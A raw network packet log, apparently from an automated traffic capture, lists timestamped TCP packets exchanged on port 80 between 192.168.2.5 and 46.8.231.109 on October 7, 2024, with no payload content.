Oct 7, 2024 17:22:07.121596098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121596098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121613026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121627092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121627092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121628046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121642113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121655941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121665001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121665001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121676922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121692896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121696949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121696949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121709108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121722937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121730089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121730089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121738911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121753931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121763945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121763945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121794939 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121794939 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122014046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122036934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122051954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122066975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122072935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122072935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122082949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122097969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122106075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122106075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122112989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122127056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122138023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122138023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122142076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122155905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122169971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122169971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122170925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122184992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122200966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122214079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122214079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122214079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122229099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122243881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122261047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122265100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122265100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122276068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122291088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122304916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122308016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122308016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122349977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122349977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122504950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122518063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122540951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122555971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122560978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122560978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122570992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122586012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122592926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122592926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122601032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122617006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122626066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122626066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122632027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122646093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122657061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122657061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122662067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122675896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122689962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122689962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122689962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122704983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122720003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122720003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122720957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122776985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122793913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122797012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122797012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122809887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122824907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122839928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.122839928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122839928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122879028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.122879028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214518070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214540958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214555979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214572906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214586973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214602947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214618921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214631081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214715958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214730978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214745045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214752913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214752913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214761019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214776993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214791059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214804888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214827061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214832067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214832067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214842081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214855909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214869976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214876890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214876890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214884996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214899063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214919090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214929104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214929104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214941978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214956045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214977980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.214984894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214984894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.214993000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215007067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215020895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215034008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215049028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215051889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215051889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215063095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215096951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215096951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215681076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215722084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215737104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215751886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215774059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215774059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215800047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215801001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215801001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215861082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215863943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215878010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215893030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215926886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215926886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215941906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215955973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215971947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.215982914 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.215987921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216006041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216022968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216034889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216034889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216074944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216074944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216160059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216173887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216187954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216202021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216216087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216217995 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216217995 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216236115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216250896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216257095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216257095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216269970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216288090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216301918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216325045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216325045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216325998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216341019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216356993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216370106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216377020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216377020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216388941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216404915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216418028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216418028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216419935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.216473103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.216473103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.218403101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.218444109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.218483925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.218483925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.311279058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.316443920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482737064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482772112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482788086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482808113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482825041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482841015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482858896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.482901096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.482901096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.482954979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.482992887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483009100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483025074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483052969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483068943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483077049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483077049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483086109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483103037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483117104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483144999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483161926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483179092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483196974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483200073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483200073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483215094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483251095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483251095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483251095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483311892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483326912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483342886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483362913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483362913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483369112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483401060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483401060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483417034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483417034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483433008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483448982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483458996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483458996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483464956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483479977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483506918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483506918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483519077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483534098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483550072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483566999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483583927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483599901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483608007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483608007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483617067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483632088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483644009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483679056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483689070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483728886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483745098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483760118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483769894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483777046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483792067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483793020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483809948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483812094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483812094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483827114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483844995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483850956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483850956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483872890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483885050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483887911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483902931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483903885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483921051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.483928919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483928919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483944893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.483959913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.564843893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564879894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564897060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564913034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564929962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564943075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564956903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564971924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.564985991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565001011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565004110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565016031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565031052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565046072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565078974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565078974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565109968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565125942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565141916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565156937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565184116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565207958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565207958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565224886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565298080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565313101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565360069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565360069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565368891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565383911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565399885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565444946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565444946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565473080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565488100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565504074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565522909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565542936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565555096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565577030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565577030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565582037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565596104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565613985 CEST	49704	80	192.168.2.5	46.8.231.109
